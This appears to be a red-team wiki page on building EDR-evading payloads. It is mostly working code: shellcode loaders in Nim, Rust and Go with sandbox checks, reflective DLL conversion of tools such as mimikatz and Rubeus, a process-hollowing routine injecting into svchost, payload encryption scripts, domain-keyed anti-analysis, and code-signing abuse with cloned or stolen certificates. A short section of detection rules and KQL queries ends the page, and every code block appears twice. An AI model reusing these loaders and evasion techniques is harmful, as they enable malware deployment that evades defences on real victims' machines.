Payload Development
Custom payload development is essential for bypassing modern EDR solutions that signature common tools. This guide covers building shellcode loaders in Nim, Rust, and Go; reflective DLL injection; crypter architectures; process injection techniques; and the methodology for creating detection-resilient payloads.
Warning
📚 Quick Navigation
💉 Shellcode Loaders
🔄 Injection & Loading
🎭 Evasion
Shellcode Loader Architecture
A modern shellcode loader follows a staged approach to avoid detection at each phase:
| Stage | Action | Evasion Considerations |
|---|---|---|
| 1. Anti-Analysis | Check for sandbox/debugger/AV VM | Sleep timers, hardware checks, process enumeration |
| 2. Unhook / Patch | Remove EDR hooks, patch AMSI/ETW | Fresh ntdll, direct syscalls, inline patching |
| 3. Decrypt Payload | Decrypt shellcode from embedded/remote source | AES/XOR with key derivation, remote key fetch |
| 4. Allocate Memory | Reserve RW memory for shellcode | Via syscalls, avoid RWX (allocate RW, later flip to RX) |
| 5. Write Shellcode | Copy decrypted shellcode to allocated region | Direct write or NtWriteVirtualMemory via syscall |
| 6. Execute | Change to RX and execute (callback, APC, thread) | Avoid CreateThread — use callbacks, fiber, APC queues |
Nim Shellcode Loaders
Nim compiles to C/C++ then to native code, producing binaries with unique signatures that don't match
common C++ tooling. The winim library provides full Windows API access.
# Install Nim and winim
# nimble install winim
import winim/lean
import strutils
# XOR-encrypted shellcode (encrypted at build time)
const encShellcode: array[276, byte] = [
# ... XOR-encrypted shellcode bytes ...
byte 0xfc, 0x48, 0x83, 0xe4 # example
]
proc xorDecrypt(data: var openArray[byte], key: byte) =
for i in 0..data.high:
data[i] = data[i] xor key
proc main() =
# Anti-sandbox check
Sleep(5000) # Sandboxes often skip long sleeps
var sc = encShellcode
xorDecrypt(sc, 0x41) # Decrypt shellcode
# Allocate RW memory via direct Windows API
let mem = VirtualAlloc(nil, cast[SIZE_T](sc.len),
MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
# Copy shellcode
copyMem(mem, addr sc[0], sc.len)
# Change to RX (never RWX)
var oldProtect: DWORD
VirtualProtect(mem, cast[SIZE_T](sc.len),
PAGE_EXECUTE_READ, addr oldProtect)
# Execute via callback instead of CreateThread
EnumDesktopsW(GetProcessWindowStation(),
cast[DESKTOPENUMPROCW](mem), 0)
main()
# Compile:
# nim c -d:release -d:strip --opt:size --app:gui loader.nim# Install Nim and winim
# nimble install winim
import winim/lean
import strutils
# XOR-encrypted shellcode (encrypted at build time)
const encShellcode: array[276, byte] = [
# ... XOR-encrypted shellcode bytes ...
byte 0xfc, 0x48, 0x83, 0xe4 # example
]
proc xorDecrypt(data: var openArray[byte], key: byte) =
for i in 0..data.high:
data[i] = data[i] xor key
proc main() =
# Anti-sandbox check
Sleep(5000) # Sandboxes often skip long sleeps
var sc = encShellcode
xorDecrypt(sc, 0x41) # Decrypt shellcode
# Allocate RW memory via direct Windows API
let mem = VirtualAlloc(nil, cast[SIZE_T](sc.len),
MEM_COMMIT or MEM_RESERVE, PAGE_READWRITE)
# Copy shellcode
copyMem(mem, addr sc[0], sc.len)
# Change to RX (never RWX)
var oldProtect: DWORD
VirtualProtect(mem, cast[SIZE_T](sc.len),
PAGE_EXECUTE_READ, addr oldProtect)
# Execute via callback instead of CreateThread
EnumDesktopsW(GetProcessWindowStation(),
cast[DESKTOPENUMPROCW](mem), 0)
main()
# Compile:
# nim c -d:release -d:strip --opt:size --app:gui loader.nimRust Shellcode Loaders
Rust produces highly optimized binaries with unique compiler signatures. Memory safety guarantees
prevent common bugs, and the windows-rs crate provides type-safe Windows API bindings.
// Cargo.toml dependencies:
// windows = { version = "0.52", features = ["Win32_System_Memory",
// "Win32_System_Threading", "Win32_Foundation"] }
// aes = "0.8"
// cbc = "0.1"
use windows::Win32::System::Memory::*;
use windows::Win32::System::Threading::*;
// AES-encrypted shellcode (compile-time encrypted)
const ENC_SHELLCODE: &[u8] = include_bytes!("../shellcode.enc");
const AES_KEY: &[u8; 32] = b"32bytekeyforAES-256encryption!!! ";
fn decrypt_aes(data: &[u8], key: &[u8]) -> Vec<u8> {
// AES-256-CBC decryption
// ... implementation ...
data.to_vec() // placeholder
}
fn main() {
// Anti-sandbox: check process count, timing
let start = std::time::Instant::now();
std::thread::sleep(std::time::Duration::from_secs(3));
if start.elapsed().as_secs() < 2 { return; } // Sandbox detected
let shellcode = decrypt_aes(ENC_SHELLCODE, AES_KEY);
unsafe {
// Allocate RW memory
let mem = VirtualAlloc(
None, shellcode.len(),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
// Copy shellcode
std::ptr::copy_nonoverlapping(
shellcode.as_ptr(), mem as *mut u8, shellcode.len()
);
// Flip to RX
let mut old = PAGE_PROTECTION_FLAGS(0);
VirtualProtect(mem, shellcode.len(), PAGE_EXECUTE_READ, &mut old);
// Execute via thread pool callback
let tp_work = CreateThreadpoolWork(
Some(std::mem::transmute(mem)), None, None
);
SubmitThreadpoolWork(tp_work.unwrap());
WaitForThreadpoolWorkCallbacks(tp_work.unwrap(), false);
}
}
// Build: cargo build --release// Cargo.toml dependencies:
// windows = { version = "0.52", features = ["Win32_System_Memory",
// "Win32_System_Threading", "Win32_Foundation"] }
// aes = "0.8"
// cbc = "0.1"
use windows::Win32::System::Memory::*;
use windows::Win32::System::Threading::*;
// AES-encrypted shellcode (compile-time encrypted)
const ENC_SHELLCODE: &[u8] = include_bytes!("../shellcode.enc");
const AES_KEY: &[u8; 32] = b"32bytekeyforAES-256encryption!!! ";
fn decrypt_aes(data: &[u8], key: &[u8]) -> Vec<u8> {
// AES-256-CBC decryption
// ... implementation ...
data.to_vec() // placeholder
}
fn main() {
// Anti-sandbox: check process count, timing
let start = std::time::Instant::now();
std::thread::sleep(std::time::Duration::from_secs(3));
if start.elapsed().as_secs() < 2 { return; } // Sandbox detected
let shellcode = decrypt_aes(ENC_SHELLCODE, AES_KEY);
unsafe {
// Allocate RW memory
let mem = VirtualAlloc(
None, shellcode.len(),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
// Copy shellcode
std::ptr::copy_nonoverlapping(
shellcode.as_ptr(), mem as *mut u8, shellcode.len()
);
// Flip to RX
let mut old = PAGE_PROTECTION_FLAGS(0);
VirtualProtect(mem, shellcode.len(), PAGE_EXECUTE_READ, &mut old);
// Execute via thread pool callback
let tp_work = CreateThreadpoolWork(
Some(std::mem::transmute(mem)), None, None
);
SubmitThreadpoolWork(tp_work.unwrap());
WaitForThreadpoolWorkCallbacks(tp_work.unwrap(), false);
}
}
// Build: cargo build --releaseGo Shellcode Loaders
package main
import (
"crypto/aes"
"crypto/cipher"
"syscall"
"time"
"unsafe"
)
// Encrypted shellcode embedded at compile time
var encShellcode = []byte{0xfc, 0x48, 0x83} // ...encrypted bytes...
func decrypt(data, key, iv []byte) []byte {
block, _ := aes.NewCipher(key)
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(data, data)
return data
}
func main() {
// Anti-sandbox timing check
start := time.Now()
time.Sleep(3 * time.Second)
if time.Since(start) < 2*time.Second {
return // Sandbox fast-forwarded our sleep
}
key := []byte("0123456789abcdef0123456789abcdef")
iv := []byte("0123456789abcdef")
shellcode := decrypt(encShellcode, key, iv)
// Windows API via syscall
kernel32 := syscall.MustLoadDLL("kernel32.dll")
virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
virtualProtect := kernel32.MustFindProc("VirtualProtect")
// Allocate RW
addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)),
0x1000|0x2000, 0x04) // MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE
// Copy shellcode
for i, b := range shellcode {
*(*byte)(unsafe.Pointer(addr + uintptr(i))) = b
}
// Flip to RX
var oldProtect uint32
virtualProtect.Call(addr, uintptr(len(shellcode)), 0x20,
uintptr(unsafe.Pointer(&oldProtect))) // PAGE_EXECUTE_READ
// Execute via callback
enumDesktops := kernel32.MustFindProc("EnumDesktopsW")
getProcessWindowStation := kernel32.MustFindProc("GetProcessWindowStation")
hStation, _, _ := getProcessWindowStation.Call()
enumDesktops.Call(hStation, addr, 0)
}
// Build: GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"package main
import (
"crypto/aes"
"crypto/cipher"
"syscall"
"time"
"unsafe"
)
// Encrypted shellcode embedded at compile time
var encShellcode = []byte{0xfc, 0x48, 0x83} // ...encrypted bytes...
func decrypt(data, key, iv []byte) []byte {
block, _ := aes.NewCipher(key)
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(data, data)
return data
}
func main() {
// Anti-sandbox timing check
start := time.Now()
time.Sleep(3 * time.Second)
if time.Since(start) < 2*time.Second {
return // Sandbox fast-forwarded our sleep
}
key := []byte("0123456789abcdef0123456789abcdef")
iv := []byte("0123456789abcdef")
shellcode := decrypt(encShellcode, key, iv)
// Windows API via syscall
kernel32 := syscall.MustLoadDLL("kernel32.dll")
virtualAlloc := kernel32.MustFindProc("VirtualAlloc")
virtualProtect := kernel32.MustFindProc("VirtualProtect")
// Allocate RW
addr, _, _ := virtualAlloc.Call(0, uintptr(len(shellcode)),
0x1000|0x2000, 0x04) // MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE
// Copy shellcode
for i, b := range shellcode {
*(*byte)(unsafe.Pointer(addr + uintptr(i))) = b
}
// Flip to RX
var oldProtect uint32
virtualProtect.Call(addr, uintptr(len(shellcode)), 0x20,
uintptr(unsafe.Pointer(&oldProtect))) // PAGE_EXECUTE_READ
// Execute via callback
enumDesktops := kernel32.MustFindProc("EnumDesktopsW")
getProcessWindowStation := kernel32.MustFindProc("GetProcessWindowStation")
hStation, _, _ := getProcessWindowStation.Call()
enumDesktops.Call(hStation, addr, 0)
}
// Build: GOOS=windows GOARCH=amd64 go build -ldflags "-s -w -H windowsgui"Reflective DLL Injection
Reflective DLL loading maps a DLL into memory without using Windows loader APIs (LoadLibrary) —
no on-disk file, no PEB entry. The DLL contains its own loader that resolves its address, parses PE headers,
maps sections, processes relocations, resolves imports, and calls DllMain.
sRDI
Converts any DLL to position-independent shellcode for reflective injection.
BokuLoader
Modern reflective loader for Cobalt Strike — uses direct syscalls, avoids common reflective loading signatures.
# sRDI — convert DLL to reflective shellcode
python3 ConvertToShellcode.py -f payload.dll -o payload.bin
python3 ConvertToShellcode.py -f mimikatz.dll -o mimi.bin -f DllMain
# Donut — convert .NET assemblies, EXEs, DLLs to shellcode
donut.exe -i SharpHound.exe -o sharpbound.bin -e 3 -z 2
donut.exe -i Rubeus.exe -o rubeus.bin -e 3 -z 2 -p "kerberoast"
donut.exe -i Seatbelt.exe -o seatbelt.bin -e 3 -z 2 -p "-group=all"
# Inject reflective shellcode into remote process (Python / Impacket)
from impacket.smbconnection import SMBConnection
# ... establish session, then inject via CreateRemoteThread
# Cobalt Strike — reflective DLL injection
# Uses BokuLoader by default in modern versions
shinject <PID> x64 /path/to/payload.bin# sRDI — convert DLL to reflective shellcode
python3 ConvertToShellcode.py -f payload.dll -o payload.bin
python3 ConvertToShellcode.py -f mimikatz.dll -o mimi.bin -f DllMain
# Donut — convert .NET assemblies, EXEs, DLLs to shellcode
donut.exe -i SharpHound.exe -o sharpbound.bin -e 3 -z 2
donut.exe -i Rubeus.exe -o rubeus.bin -e 3 -z 2 -p "kerberoast"
donut.exe -i Seatbelt.exe -o seatbelt.bin -e 3 -z 2 -p "-group=all"
# Inject reflective shellcode into remote process (Python / Impacket)
from impacket.smbconnection import SMBConnection
# ... establish session, then inject via CreateRemoteThread
# Cobalt Strike — reflective DLL injection
# Uses BokuLoader by default in modern versions
shinject <PID> x64 /path/to/payload.binProcess Injection Techniques
| Technique | APIs Used | OPSEC Rating | Notes |
|---|---|---|---|
| Classic CreateRemoteThread | VirtualAllocEx → WriteProcessMemory → CreateRemoteThread | Low | Heavily monitored by all EDRs |
| APC Queue Injection | NtQueueApcThread (target alertable thread) | Medium | Requires alertable thread state |
| Module Stomping | LoadLibraryA → overwrite .text section | High | Code appears backed by a legitimate DLL |
| Thread Pool (PoolParty) | Worker factory + TpAllocWork | High | Abuses Windows thread pool internals |
| Callback Execution | EnumDesktopsW, EnumChildWindows, etc. | High | Execute shellcode via legitimate API callbacks |
Process Hollowing
Process hollowing creates a suspended legitimate process, unmaps its image, and maps your payload in its place. Process Doppelgänging is a modern variant that uses NTFS transactions: writes the payload within a transaction, maps the section, then rolls back the transaction so the file never exists on disk.
// Process Hollowing — C/C++ implementation
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
// Step 1: Create suspended legitimate process
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Step 2: Get the image base from the PEB
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
PVOID imageBase;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10),
&imageBase, sizeof(PVOID), NULL);
// Step 3: Unmap the original image
NtUnmapViewOfSection(pi.hProcess, imageBase);
// Step 4: Allocate memory at the image base and write payload
PVOID newBase = VirtualAllocEx(pi.hProcess, imageBase,
payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newBase, payloadBuffer, payloadSize, NULL);
// Step 5: Update entry point in thread context
ctx.Rcx = (DWORD64)newBase + entryPointOffset;
SetThreadContext(pi.hThread, &ctx);
// Step 6: Resume execution
ResumeThread(pi.hThread);// Process Hollowing — C/C++ implementation
STARTUPINFO si = { sizeof(si) };
PROCESS_INFORMATION pi;
// Step 1: Create suspended legitimate process
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL,
FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// Step 2: Get the image base from the PEB
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
PVOID imageBase;
ReadProcessMemory(pi.hProcess, (PVOID)(ctx.Rdx + 0x10),
&imageBase, sizeof(PVOID), NULL);
// Step 3: Unmap the original image
NtUnmapViewOfSection(pi.hProcess, imageBase);
// Step 4: Allocate memory at the image base and write payload
PVOID newBase = VirtualAllocEx(pi.hProcess, imageBase,
payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, newBase, payloadBuffer, payloadSize, NULL);
// Step 5: Update entry point in thread context
ctx.Rcx = (DWORD64)newBase + entryPointOffset;
SetThreadContext(pi.hThread, &ctx);
// Step 6: Resume execution
ResumeThread(pi.hThread);Payload Encryption
Encrypt payloads at build time to evade static signature scanning. XOR is simple but detectable; AES-256-CBC is recommended for production. For maximum evasion, fetch the decryption key from your C2 at runtime so the key is never embedded in the binary and sandboxes cannot decrypt the payload.
# Multi-key XOR encryption (quick obfuscation)
python3 -c "
shellcode = open('payload.bin','rb').read()
key = b'RandomKey123'
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(shellcode)])
open('payload.enc','wb').write(enc)
"
# AES-256-CBC encryption (recommended)
python3 -c "
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
key = os.urandom(32)
iv = os.urandom(16)
shellcode = open('payload.bin','rb').read()
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(shellcode, AES.block_size))
open('payload.enc','wb').write(iv + enc)
print(f'Key: {key.hex()}')
"
# Generate C array for embedding in loader
python3 -c "
data = open('payload.enc','rb').read()
arr = ', '.join([f'0x{b:02x}' for b in data])
print(f'unsigned char encPayload[] = {{ {arr} }};')
print(f'unsigned int encPayload_len = {len(data)};')
" > shellcode.h# Multi-key XOR encryption (quick obfuscation)
python3 -c "
shellcode = open('payload.bin','rb').read()
key = b'RandomKey123'
enc = bytes([b ^ key[i % len(key)] for i, b in enumerate(shellcode)])
open('payload.enc','wb').write(enc)
"
# AES-256-CBC encryption (recommended)
python3 -c "
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os
key = os.urandom(32)
iv = os.urandom(16)
shellcode = open('payload.bin','rb').read()
cipher = AES.new(key, AES.MODE_CBC, iv)
enc = cipher.encrypt(pad(shellcode, AES.block_size))
open('payload.enc','wb').write(iv + enc)
print(f'Key: {key.hex()}')
"
# Generate C array for embedding in loader
python3 -c "
data = open('payload.enc','rb').read()
arr = ', '.join([f'0x{b:02x}' for b in data])
print(f'unsigned char encPayload[] = {{ {arr} }};')
print(f'unsigned int encPayload_len = {len(data)};')
" > shellcode.hAnti-Analysis Techniques
// Common anti-sandbox / anti-debug checks:
// 1. Timing check — sandboxes accelerate Sleep()
DWORD start = GetTickCount();
Sleep(5000);
if (GetTickCount() - start < 4500) return; // Sandbox detected
// 2. Hardware checks — VMs have limited resources
MEMORYSTATUSEX mem;
mem.dwLength = sizeof(mem);
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 4LL * 1024 * 1024 * 1024) return; // < 4GB RAM
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) return; // Single-core = likely VM
// 3. Process count — sandboxes have minimal processes
DWORD processes[1024], needed;
EnumProcesses(processes, sizeof(processes), &needed);
if (needed / sizeof(DWORD) < 50) return; // Too few processes
// 4. Username / domain check — keyed payload
// Only decrypt if running on the target domain
TCHAR domain[256];
DWORD size = 256;
GetComputerNameEx(ComputerNameDnsDomain, domain, &size);
if (_wcsicmp(domain, L"target.corp.local") != 0) return;
// 5. API resolution via hash — avoid import table analysis
// Resolve function addresses by hash instead of name
// PEB → LDR → InLoadOrderModuleList → walk exports → hash compare// Common anti-sandbox / anti-debug checks:
// 1. Timing check — sandboxes accelerate Sleep()
DWORD start = GetTickCount();
Sleep(5000);
if (GetTickCount() - start < 4500) return; // Sandbox detected
// 2. Hardware checks — VMs have limited resources
MEMORYSTATUSEX mem;
mem.dwLength = sizeof(mem);
GlobalMemoryStatusEx(&mem);
if (mem.ullTotalPhys < 4LL * 1024 * 1024 * 1024) return; // < 4GB RAM
SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 2) return; // Single-core = likely VM
// 3. Process count — sandboxes have minimal processes
DWORD processes[1024], needed;
EnumProcesses(processes, sizeof(processes), &needed);
if (needed / sizeof(DWORD) < 50) return; // Too few processes
// 4. Username / domain check — keyed payload
// Only decrypt if running on the target domain
TCHAR domain[256];
DWORD size = 256;
GetComputerNameEx(ComputerNameDnsDomain, domain, &size);
if (_wcsicmp(domain, L"target.corp.local") != 0) return;
// 5. API resolution via hash — avoid import table analysis
// Resolve function addresses by hash instead of name
// PEB → LDR → InLoadOrderModuleList → walk exports → hash compareCode Signing
Signed binaries are less scrutinized by EDR and users. Options include self-signed certificates (low trust), expired/stolen certificates, and SigFlip which embeds a payload in a signed PE's certificate table without invalidating the Authenticode signature.
# SigFlip — inject shellcode into signed PE (signature stays valid)
SigFlip.exe -i signed_app.exe -s payload.bin -o backdoored.exe
# CarbonCopy — clone code signing cert from any signed binary
python3 CarbonCopy.py signed_app.exe payload.exe signed_payload.exe
# Self-signed cert for testing (PowerShell)
$cert = New-SelfSignedCertificate -Subject "CN=Microsoft Corporation" \
-CertStoreLocation Cert:\CurrentUser\My -Type CodeSigningCert
Set-AuthenticodeSignature -FilePath payload.exe -Certificate $cert
# signtool — sign with PFX file
signtool sign /f stolen_cert.pfx /p password /t http://timestamp.digicert.com payload.exe# SigFlip — inject shellcode into signed PE (signature stays valid)
SigFlip.exe -i signed_app.exe -s payload.bin -o backdoored.exe
# CarbonCopy — clone code signing cert from any signed binary
python3 CarbonCopy.py signed_app.exe payload.exe signed_payload.exe
# Self-signed cert for testing (PowerShell)
$cert = New-SelfSignedCertificate -Subject "CN=Microsoft Corporation" \
-CertStoreLocation Cert:\CurrentUser\My -Type CodeSigningCert
Set-AuthenticodeSignature -FilePath payload.exe -Certificate $cert
# signtool — sign with PFX file
signtool sign /f stolen_cert.pfx /p password /t http://timestamp.digicert.com payload.exeDetection & Blue Team
| Source | Detection |
|---|---|
| Sysmon Event 1 | Unusual process creation with sandbox evasion patterns (sleep delays, resource checks) |
| Sysmon Event 10 | Reflective DLL injection — process access with PROCESS_VM_WRITE + PROCESS_CREATE_THREAD |
| Sysmon Event 7 | Image loaded from non-standard paths or unsigned modules in signed processes |
| AMSI / ETW | Script-based loaders caught by AMSI; .NET assembly loads visible via CLR ETW provider |
| Code Signing | Self-signed or revoked certificates; certificate CN spoofing known vendors |
| Memory Forensics | Hollowed processes with mismatched PEB image base; unbacked executable memory regions |
// KQL — Detect process hollowing indicators
DeviceProcessEvents
| where FileName in ("svchost.exe","RuntimeBroker.exe","dllhost.exe")
| where InitiatingProcessFileName !in ("services.exe","svchost.exe","wmiprvse.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine
// KQL — Detect reflective loading / injection
DeviceEvents
| where ActionType == "CreateRemoteThreadApiCall"
| where InitiatingProcessFileName != FileName
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName// KQL — Detect process hollowing indicators
DeviceProcessEvents
| where FileName in ("svchost.exe","RuntimeBroker.exe","dllhost.exe")
| where InitiatingProcessFileName !in ("services.exe","svchost.exe","wmiprvse.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName, ProcessCommandLine
// KQL — Detect reflective loading / injection
DeviceEvents
| where ActionType == "CreateRemoteThreadApiCall"
| where InitiatingProcessFileName != FileName
| project Timestamp, DeviceName, InitiatingProcessFileName, FileName